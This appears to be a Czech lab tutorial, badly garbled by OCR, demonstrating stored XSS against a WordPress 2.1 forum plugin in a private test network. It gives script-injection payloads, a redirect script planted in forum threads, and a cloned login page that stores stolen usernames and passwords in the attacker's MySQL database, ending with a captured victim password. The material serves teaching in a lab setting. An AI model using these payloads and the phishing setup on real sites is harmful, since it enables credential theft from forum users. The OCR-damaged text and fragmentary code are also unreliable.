PHP 5.2.6-3 05/2008 Programovaci jazyk
Apache Server 2.2.11 05/2009 Web server
MySQL 5.0.75-0 12/2008 Databaze

Na klientu ao_machine neni nutné nic instalovaiSiouzit libovolny operani

systém a webovy prohlize V tomto tutorialu je volena kombinace opg&ra

systém Windows XP a webovy prohléZeirefox 3.0.

2. Aplikace Utoku XSS

a) Popis IP adres Gtaika a webového serveru ukazuje obrazek 1:

7 Home:| | gw Uoorbi 504 | (e Sevar AT | G B [ Hod A Server 3
W SunAug 2, 6:34PM  bp(E ¥

ﬁnppliqau’on; Places System ‘,._9
[] Test Blog - Mozilla Firefox R S =la]x]
Hle Edit View History Bookmarks ool Help Klient utocnika

8 & Iﬂv o,

= ~ & O 'E'||_,q: hitp://192,168.8. 136/wordpress-2.1/ | &
{| URL wordpressu,

IP adresa serveru Host A Server 192.168.8.136

[ Most Visited~  @Getting Started [ Latest Headlines~

Test Blog

Just another WordPress wiblog

Hgllo _world!

Pages

Welcome 1o WordPress, This i your first post. Edit or delete it then start AR
blogging! L= | Nazey Fora:

Pasted in Uncategonzed | 1 Comment = Archives B F
« July 2008 Pp-I orum

Categories

« lUne stegecized {1

bpE@bp-deskrop: ~

file Edit View Terminal Help
bp@Ebp-desktop:~% ifconfig =]

Link encap:Ethernet HWaddr 60:8c:29:bb:ee:a8

ethl
__—_-} inet addr:192.168.8.137 | Bcast:192.168.8.255 Mask:255.255.255.
1Netn addr: TeBb::.uc:2911;febb:eeaB/64 Scope:Link

IP adresa Gtoénika

UP BROADCAST RUNMING MULTICAST MTU:1588 He:rlc:l
R packets:45 errors:® dropped:® overruns:8 frame:@
192.168.8.137 TX packets:38 errors:@ dropped:® overruns:8 carrier:8
collisions: @ txqueuslen:loes
RX bytes:7853 (7.0 KB) TxX bytes:4746 (4.7 KB)
Interrupt:18 Base address:@x1460

Done
Obréazek 1 - Bod a) Uvodni popis
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b) Neni nutno byt phlaSeny jako uzivatel Wordpressu.

c) Vejdéte do webového féra Bp-Forum.

d) Vejdéte do libovolné diskuze webového féra hapgMetodiky. Struktura féra je na

obrazku 2:

L@

) Applications  Places System

Ble Edt Yiew History Bookmarks Jools  Help

Test Blog » Bp-Forum - Monlia Flretes

W Sun Aug 2, T08PM  bp[E)

a6 0 |_T.__1-_rr_p{r191 168 8.136/wordpress-2. 1/ Tpage id=4

[ Most Visited~  ieGetting Started [ Latest Headlines ~

Bp-Forum

W Tk Bl = Fofudmd

3 Raqgictored wpery
Logn | Megiater | Saarch

Test Blog

You are not ogged in. Pouting ad Guest

Tasters

@ Metodiky,

/ @ PFenetrace
Témata webfora | || servers

@H\'f

@ optimalizace

5 y * P00 pR0l. 1T XS
Ty Gt

o o 1900300 G b0
By Ceuent

B r “IRMRLOL-01. 00 O
By Gt

¥ » FFORORIL, T TS
Oy pobe

WordPress foeum plogin by

Fredrik Fahbtad, Yerwon: 1.7 8

Nazev fora:

TestBlog

- st
- Bp-foeumm

Archives
= bty 2OUF

Categorien
» Unt mtwgorioed (1
Blogroil
= Ahew

[

=
 Migne

= B

= Wiledl LM THL

Obréazek 2 - Bod d) Seznam témat
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e) Budete napadat zadavaci pole Message pro tgmvmového tématu pro diskuzi.

f) Prvnim pokusem bude vlozZeni jednoduchého PHP skpiii otestovani zranitelnosti na
vkladani PHP skriptu:

* VloZte PHP kod:
<?php echo "XSS" ?>

pro vypis textu na obrazovku, obrazek 3

E Test Blog » Bp-Forum - Mozilla Firefox
File Edit View History Bookmarks Tools Heip

&= ~ & . = |le hp:/192.168.8.136/wordpress-2.1/7page_id=4&forumaction=showforum&forum=6

[ Most Visited~ @ Getting Started  [5]] Latest Headlines~

No new posts.
3 Registered users. % - A . Archives
) New posts since last vigit « fuly 2009
Login | Register | Search | New thread
Categories
@) Metodika A Guest 0 3| Blogroll
By: Guest s
@ Co i_e cilem o o =2009-08-02. 17:22:17" « Dionncha
metodik By Guest . Dougal
» Matt
« Michet
Start new thread = Mike
= Ryan
Keep it polite and on topic
You can use the same formatting as for WordPress commenting. Meta
= Login
" . - - XFM
Libov Ohly text |4 MName: You are pesting as guest. Log in - WerdPress
\ Subject: | Metodika B | ]

i <?php echo "}(Sg‘ el

/l’
Kod PHP scriptu.
do pole zprav

Say it || Preview |

Obréazek 3 - Bod f) Vlozeni PHP skriptu
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e Po vstoupeni do ulozené zpravy jedtjdze zadny kéd se nespustitinddem je
preformatovani vloZzenéhietzce. Za <? Je vloZena mezera < ?. Protetjgec
chapan jako olsejny text. Upraveny text je tedy

< ?php echo "XSS" ?>

Znazorrgno na obrazku 4:

Test Blog » Bp-Forum - Mozilla Firefox

File Edit View History Bookmarks Tools Help
@ v & . ® |9 nttpy192.168.8.136/wordpress-2.1/7page_id=4&forumaction=showposts&forum==6&thread=86start=0

[ Most Visited~ @ Getting Started [5])Latest Headlines~

Bp-Forum | || search
W Test Blog = Forums = Testers, Pages
Metodiky You are not logged in. Posting as Guest. + Abaut
~4l Metodika B « BpsForam
Archives
: Mo new posts. .
= July 2009
3 Regixtersd (lson % New porsls singe Inst visit E
Login | Register | Search | Post reply Categories
= Uincategarized (1)
Replies: 1 - Pagesc [1] - Last reply: "2009-00.02, 135532" - By: * post
Guest reply Blogroll
+ Alex
» Dougal
P (Guest) Metodika B (R I . Mat
Upraveny PHP Postert *2009-08.02, 19-55:32° |- Quote. il
skript. Vznikla » Mike
- - - = Ryan
mezera mezi < I{’mhp echo "XSS! ?'hl
a? — Meta
S | Back « Login
to top = Walid M4 THL
- FEN

Obrazek 4 - Bod f) Rreforméatovany text

g) Pokud nezafungoval PHP skript, pokuste se o vlodamaScriptu. Stejnym #pobem,
ale s néasledujicim kédem :

<script>  window.alert( “XSS!*) </script>

» Tato aplikace skriptu je U&pna, zobrazi se dialogové okno jako na obrazku 5,
nyni mizete pejit k utoku.
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Test Blog » Bp-Forum - Mozilla Firefox
{ Bookmarks Tools Help

= | (8] http://192.168.8.136/wordpress-2.1/?page_id=4&forumaction=showposts&forum==6&thread=106start=0

ing Started [5]jLatest Headlines

Test Blog

Just another WordPress weblog

Bp-Forum @E XSS!
¥ Test Blog » Forunjs

Metodiky f l
L4l problematika f4 ‘_&—m

) L1} No new posts.
3 Rad ity (oo (£2) New posts since last visit. \
Login | Register | Search | Post reply

Replies: 1 - Pages: [1] - Last reply: "2009-08-02, 21:20:23" - By: * post Po otevieni podtématu
Gest reply Problematika metodik.
putho __________ Message | A
. dialogového okna.
= Posted: ';;:.mm:ma' | Quote | Vlezeny IS kéd
zafungoval

Obrazek 5 - Bod f) Oteweni zpravy s vloZzenym JavaScriptem

h) Podstata Gtoku bude spwat v nasledujicich bodech
« Utoenik okopiruje vzhled logovaci stranky wp-forum. dédse open-source
software, niZze si tedy WordPress stdhnout a upravit logovaénkt dle své
potreby.
» Upravi zdrojovy kdd logovaci stranky, aby se oldpehiaska.
Spojeni bylo p feruSeno. P #ihlaste se prosim znovu!
e Pokud uzivatel zada svoje uzivatelské jméno a hellmle k uloZeniéchto dat

do uta@nikovy databaze. Stranka se poslémsperuje na stranu serveru, &ma
diskuzni férum, jakoby opravdu doSlo kébpvnému pihlaseni.

I) Instalace Gténikovy strany

i1) Na stroji it@énika nainstalujte aplikace - Webovy server &ja
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- Programovaci jazyk PHP
- Databazi MySQL

V tomto bodu jeigdpokladem jiz fipraveny p@éita¢ s greinstalovanymi aplikacemi.

i2) Rozbalte soubddost_B_Client/atacker.zipdo/var/www
soubor attacker.zip obsahuje:
- Adres&@ WP-admin - v 8im je obsazen vzhled pro logovaci
stranku
- Soubor wp-login.php - ten obsahuje upravenou verzi
originalu.
- Soubor wp-modified.php - zde je logika pro ulozbesel

do DB a gesn€rovani na pvodni stranky.

i3) Upravte vstupni progmné v/var/www/wordpress-2.1/wp-modified.php
Zde se jednéa o konfiguraci DB shodnou s nainstalovalatabazi na Gtnikow patitaci

a adresu, kam se bude strankesp¥rovavat, ukdzano na obrazku 6:

= wo_modiedpho |

<?php
/ Steanka vyovorl raznam do DB a presmearule =& zpat ns SERVER

PR R TTS S .
ffvacupnl promennes

$dl 8 Wppsaglt: Finazey database
jrable
fhoacname
Fuser name
fpaaawd
jredicection =

T Vel
v myagl

fcreate_sgl -

L T i A8 " - A = “

£ fiskanl vatupnich hodnot
fhost user = crim($ POST| Lo Polud ]-E]lﬂé nastaveni
fhost_pass = crim(§ POST['pwd']):

ne# na obrazku, je nutné
fhoat_ip =

Zmenit promenne

R T Anj_l.resa]ezp_snte].nra pii
fspojeni=mysql_connect (fhostname, jusername, $passvd) pristupu na uvo d.lll

or die ['-1 (I =& pripojit DE ucomnik » amysql error(l )i stranu diskusniho flfll’ﬂ.=
viz obrdzek 2

Obrazek 6 - Skript wp_modified.php
i4) Upravte/var/www/wordpress-2.1/wp-login.php
Zde se musi upravit ndzev féra pro zvySetweédyhodnosti. Dale IP adresu a cestu

k adresi WordPress, Pro napadeny server ji zjistite z UiRiLvstoupeni do aplikace
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WordPress. Pro Gtoika sté&i zadat IP Uténika, adresama stejny nazev, znazeémno na

obrazku 7:

_-f'! Ndzev fora se zjisti po pfistupu na forum, viz obrazek 2

I

fvictim ToEuwm name =
§victim dir
fattacker dir =

T R 000 0 O O

//cesta k obeti

ffcesta na

utocnikove

klientu

CIDOCTYPE heml JUBLIC *=//W3C//DTD XHTML 1.0 Transitional//EN" “hetp://vww.wi.org/TR/xhtmll/DTD/xhemll-t;
Fl<heml smlna="htfp:ffwww . w3.00g/1999 fxhtml" >
[H<haad:
€Lit le><7p drzague: Login</ticles>
equiv="Content-Type® content="text/html; charset=UTF-8* />
stylesheet” href="http://<7php

o echo SVLcr_:Lm__forum_name ri-3
<meta http)
prho Sartacker dir 7-fyp-adminfvn-admin . css*rersion=2%. 1" «©
Tento JS skript zobrazi dialog. Jedna se o aplikaci
utoku Phishing. Zpriva md oklamat uzivatele, tim
ze doslo k poruSeni spojeni a je nutné zadat jméno a
heslo movu

<link rel

Cast, kterd se
musi upravit

'_=¢u1:h
<lir<a href="http:/f<? echo Fvictim
<liz<a href="http:/f<? eche $victim

<ful>

I <script>window.alertc('s

=" title="Are you lost? ">Back to <?php
ip?sfwp-login.php?action=lostpassword” title="Password Lost and

echo {victim forum n

}i</script> I

</ body>
</ html>

Obrézek 7 - Skript wp-login.php
i5) Instalace je fipravena. Po prvnim zadaném uZivatelském jménu sluhsee

automaticky vytvéi tabulka a vlozi se do ni zaznam viz. skript wpdified.php.

]) Stejnym zfisobem, jako jste vlozili kéd do zpravy z bodu dgh)avlozte nyni kéd pro
piesnerovani:
<script>

window.location=http://192.168.8.137/wor

</script>

dpress-2.1/wp-login.php

 Timto kédem infikujte témata diskuzniho fora SesyidiV a Optimalizace.
Vlezte postupé do obou témat a reagujte n&aky prispivek. Misto odpowdi
ale vlozte vySe zmimy JS kod pro fesnerovani.
Pokud budete po uloZeni zpravyepeiovani, je to znamka toho, Ze skript
funguje. Po pesnerovani se vréte a infikujte dalSi fispevky ve foru.

* Nyni budetec¢ekat na uZivatele, ktery vstoupi na infikované témaecha se
obelstit.

k) Rozdily vzhledu fihlaSovacich oken pro zadani hesel jsou zn&nyrma obrazku 8 a

obrazku 9:
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_ aaan - Mozilla = )
File Edit View History Bookmarks Tools Help

%= > & = [le] nttprnoez168.8.137mwordpress-2.1/wp-login.php ]| [Glv]ceay]

5 Most Visited~ e Getti arted [5] Latest Headlines ~

Dle obrazku 1,

IP adresa
192.168.8.137

je adresa utoénika

Userrmnme;

Back to Test Blog

Lost your password?

Done

Obrazek 8 - FihlaSovaci okno Gt@&nik

File Edit View History Bookmarks Tools Help

=] ~ & - |;I'_http:ﬂlﬂlz.ILEE.B.136;Wurdpress~2.1Mp-lcgm.php ' |~ | [G~]ce=]

[ Most Visited~ geGetti arted [EjjLatest Headlines~

Dle obrazlm 1,

[P adresa
192.168.8.136

je IP adresa serveru
poskytujici aplikaci
WordPress

Usermame

Back o Test Blog

Lt your passwarnd?

Done

Obrézek 9 - FrihlaSovaci okno server poskytujici WordPress
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[) Uzivatel POKER budeipdstavovat o¥’. Frihlasi ze svého piftate do webové aplikace
WordPress, obrazek 11. Konfigurace uzZivatelouvétpte je na obrazku 10:

S AWINDOWS  system32h cmd.exe
C:“Documents and Settings“hoomXipconfig ~all

Konfigurace protokolu IP systému Windows

Nizev hostitele . . ao—machine

Briminni piisona DHE__ . .
Typ nzlu . . . neznamg Nizev hostitele
Povoleno ﬂmeruuanl IP - Me
WINE Proxy povoleno . . Ne

Adaptér sité Ethernet Bezdratové piipojeni k =iti 3:

Piripona DHS podle pFipojeni

Popis . . . - . . - . - .
Connection

Fyzicka Adresa. .

Protokol DHCP puuulen

ﬂ..d—..-u..-d—-.n'l.--. 'I..-.-..-‘.l‘.‘-...-.-..“-.

Hd'eaa IP . .

I

Intel{R> PRO-Wireless 220ABG Metwor
B8—-13-CE-DB-61—-8%

192 168.2.181 IP hostitele

[ R e e

192 i68.2.1
192 168 .21
81.92.145_.2
2. zrpna 20807 16:12:-88
28_. fevuna 1983 F:43:52

[}

e e =
Vichozi brana -
Server DHCP . A

R N I
T

» -
Zapuacka prr51 -
Adaptér sité Ethernet PFipojeni mistni siti 3:

Stav média . . odpojeno

Popis . ; Bluetooth Personal Area Network
Fyzicka fidresa. : BA-18-C6—DB-B3-F3

Obrazek 10 - Konfigurace klienta ao-machine

) Test Blog » Lagin - Mozilla Firefox =|3] >
Soubor  Uprgvy Zobrazit  Historle Zalp¥ly  Mashroje Napoydda
“ﬁ c 5 | | | harp:f/192.168.8, 136 fwordprass-2. 1 fwp-login.php - Ii(_;i = | i >
%, Seznam ﬁ-i Centrum.c2 - Provdie.. LEta zalofek | Chyba prl naditsni str...
Choate, aby i Spravos hessl zapamatowval boko pribils Laparmaboat I Mikdy pro tenko server I Tyl o I 560

IP adresa 192.168.8.136 je dle obrazku 1. adresa serveru Host_ A_Server

Usernanme:

Password;

.- Remearmber rme

Back o TescBlog

LOST your password?

Obrazek 11 - RihlaSeni uzivatele POKER
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m) Uzivatel POKER chce vstoupit do vami infikovanéldeef, zobrazeno na obrazku 12:

I Test Blog = Bp-Forum - Mozilla Firefox

Soubor Uprgvy Jobrask  Mstoris  Zikgly Mistrole  Nipovids

W cC X m‘”|_“| nm:nm.ms.s.:mwm-z.x}paw_.dm;m-mmﬂi; - iG] oo P

% Seznam Jra Centrum,cz- Provéie., || Rick | | chyba pii nadtani str..
-
IP Adresa 192168 8.136
Serveru Host A Server T t B l
v w 3 Just another WordPress wablog
Prispévky jsou
pod tématem
Optimalizace Uzivatel POKER
je ptihlasen
Bp-Forum _IS’B"‘*'
W Test Blog » Forums \ Pages
-4l servers, Optimalizace Welcome, poker. » About
* Bp-Farum
. Ho naw posts, Archives
3 Registared Users. Hew posts since last vigit, = July 200%
Lagaut | My Profile | Search | New thraad Categaries
- T i Blogroll
r b mysql poker 2 e e s » Alex
i By: Guast
' *2009-08-02, 23:50103" : E"“d:'
> [=EbTa
@ pokar z 8 S - M.:
= ek sl
o w * Mike
Start new thread Nap?dm? W . * Ryan
ktereho obét chee vstoupit
Keep it polite and on topic, Meta
You can use the same formatting as for WordPress commenting. = f‘" "’:""'”
® Lago
* Valid XHTHL
L votesy ]
z * WaordPrass
Name: You are logged in 25 poker. Logout
= r =]
| Bittp:/192.168 8. 136 wordoress-2. rumdctichashowsastsidony . : o

Obrazek 12 - Uzivatel chce vstoupit do tématu
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n) Uzivatel si chce prohlédnou téma ,db_mysql“ a vpfowlo rého. OkamZi je
piesneérovan a v prohliz&é se objevi dialogové okno dgqruseni spojeni a nutnosti zadat
znovu heslo, zobrazeno na obrazku 13.

~loix
Soubor Upravy Zobraok Historie  Zalofky [Mastrojfe  NapovEda B
6 v O X Ay ]_1 | http:/7192.168.8. 137 fwordpress-2. 1 jwp-ogin.php | © 7 = |i§t Google J
5Seznarn }'3 Centrum.cz - Provére.,. || LiEta 2802 ] Eﬁm.ﬁsﬁ

L}E'Cfmbe,dnysiﬁpu'é\melmdzmd AZeni?. {apamatwat[ Mmtmﬂuml Iyni nie |ﬁ‘

IP adresa 192.168.5.137 je adresa stranek utoénika

Dialogove okno
o preruieni
spojeni a
nutnosti zadat
heslo mowva

Sdéleni stranky http://192.168.8.137:

i Spojeni bylo presuseno, Prinlaste se prosim znovul

M remember me

Dalsi
identifilkdtor, ze
sejedna o
stranku utoénika
Back to TestBlog
Lostyour passward?
Pfectenc 192, 168.8,137 T [_T /frf

Obrazek 13 - Rresnérovani na utoénikovu stranku
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0) Pokud si uZivatel nevSimne Zny adresy z 192.168.8.136 na 192.168.8.137, zasla he
a je gesngrovan zgt na diskuzni forum, obrazek 14:

J Test Blag » Bp-Forum - Mozilla Firefox

W c x a7 Ir.j ]hu:nmsz 168.8.136 {wordpress-2. 1 [Tpage_id=- Dy - iG] coose P
%, Seznam Ja Ceritrum.cz - Proviie " LiSta zalozek,_gwr Chyba phi nackani sir...
.~ Cheets, aby <i Sprévee hesal zapa Seri

Presmérovani zpét na
forum na adrese
192.168.5.1360

Bp-Forum

W Test Blog » Forums

3 Registered users,
Logout | My Profile | Search

Test Blog

Just another WordPress weblog

welcome, poker.

Testers

@ Metodiky
@ Penetrace

Servers

@ HW

@ Optimalizace

“2009-08-02, 23126:12"

S By Guest

3 =2009-08-02, 23:39:23"
By: Guast

o “200%9-08-02, 23:151:25"
Byi Guest

= *2009-08-02, 23:50:28"

By Guast

waordPress forum plugin by Fredrik Fahistad. Yersion: 1.7.8.

|

Pages
» About
» Bp-Farum

Archives
» July 2009

Categories
* Uncategoriced (1]

Blogrell
= Alax
» Donncha
» Dougal
» Matt
* Michel
* Mika
» Fygan

Meta
» Sita Adenin
* Logoirk
» Valid XHTHL
» KFH
» WordPrass

{

Obrazek 14 - Fresn®rovani zpét na forum
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p) Utoenik si v databazi five zkontrolovat, zda sesjaky uZivatel nechal oklamat a zadal

heslo do formulge. Vypis tabulky je na obrazku 15:

i bp@bp-desktop: |

File Edit View Terminal Help

bp@bp-desktop:/$ mysql -u root -p

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 11
Server version: 5.8.75-8ubuntul® (Ubuntu)

Type 'help;® or '\h' for help. Type '\c' to clear the buffer.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Vypis tabulky attack_tab
Uzivatel poker se pokusil
prihldasit 03/08/2009 a

——————— e T s heslo je _aaaa™
| poker | aaaa | 2009-88-83 081:08:26 |
------- e e =

1 row 1n set (0.80 sec)

mysgl=>

Obrazek 15 - Kontrola tabulky attack tab
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Konec Tutorialu

Dékuji za pozornost

60



